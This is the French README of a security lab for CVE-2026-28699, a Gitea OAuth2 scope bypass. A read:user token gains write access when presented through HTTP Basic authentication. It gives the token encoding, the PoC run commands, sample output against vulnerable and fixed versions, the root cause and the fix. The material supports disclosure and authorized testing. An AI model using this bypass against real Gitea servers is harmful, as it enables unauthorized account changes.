
Laboratoire et analyse pour CVE-2026-28699 : contournement du contrôle de portée OAuth2 de Gitea via l'authentification HTTP Basic
Un jeton d'accès OAuth2 de Gitea limité à read:user peut effectuer des actions d'écriture complètes lorsqu'il est envoyé comme Authorization: Basic base64(<token>:x-oauth-basic) au lieu d'un jeton Bearer. La vérification de portée est ignorée pour tout jeton présenté via l'authentification Basic.
Versions concernées : <= 1.26.1. Corrigé dans 1.26.2.
Avis de sécurité : GHSA-9r5x-wg6m-x2rc. CWE-863. Sévérité élevée.
Rapport complet : WRITEUP.md
pip install -r requirements.txt # requests
python fetch_binaries.py # télécharge les binaires vulnérables 1.26.1 + corrigés 1.26.2 pour votre OS
python poc.py 1.26.1 # vulnérable : l'écriture via Basic réussit (contournement de portée)
python poc.py 1.26.2 # corrigé : l'écriture via Basic est bloquée (403)
poc.py lance une instance jetable de Gitea sur SQLite dans le répertoire temporaire du système, exécute le flux OAuth2 code d'autorisation pour générer un jeton limité à read:user, puis appelle un point d'API d'écriture via Bearer et Basic, et affiche le verdict. Définissez POC_DEBUG=1 pour voir les étapes du flux d'authentification.
Vulnérable 1.26.1 :
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (bloqué)
[Basic ] PATCH /api/v1/user/settings -> HTTP 200 (AUTORISÉ -- portée CONTOURNÉE)
>>> VULNÉRABLE : le jeton read:user a effectué une écriture via Basic.
Corrigé 1.26.2 :
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (bloqué)
[Basic ] PATCH /api/v1/user/settings -> HTTP 403 (bloqué)
>>> CORRIGÉ : la portée est appliquée à Bearer et Basic.
services/auth/basic.go définissait IsApiToken mais pas ApiTokenScope pour les jetons OAuth2. Le middleware tokenRequiresScopes se termine prématurément lorsque la portée est absente, donc rien n'est vérifié. Le correctif 1.26.2 ajoute le store.GetData()["ApiTokenScope"] = accessTokenScope manquant.
À des fins éducatives et de tests de sécurité autorisés : votre propre laboratoire, machines CTF et HTB, cibles de bug bounty dans le périmètre. Le PoC lance sa propre instance jetable de Gitea, ne le pointez donc sur rien que vous ne possédez pas.
| Présentation d'authentification | IsApiToken | ApiTokenScope | portée vérifiée ? |
|---|
| Jeton OAuth2 via Bearer | true | défini | oui |
| Jeton OAuth2 via Basic | true | manquant | non (échec ouvert) |
| Jeton d'accès personnel | true | défini | oui |
| Fichier | Objectif |
|---|
WRITEUP.md | Analyse de la cause racine, impact, correction, détection |
fetch_binaries.py | Télécharge les binaires 1.26.1 / 1.26.2 pour votre OS/arch |
poc.py | Provisionne Gitea, génère un jeton read:user, teste Bearer vs Basic |
requirements.txt | requests |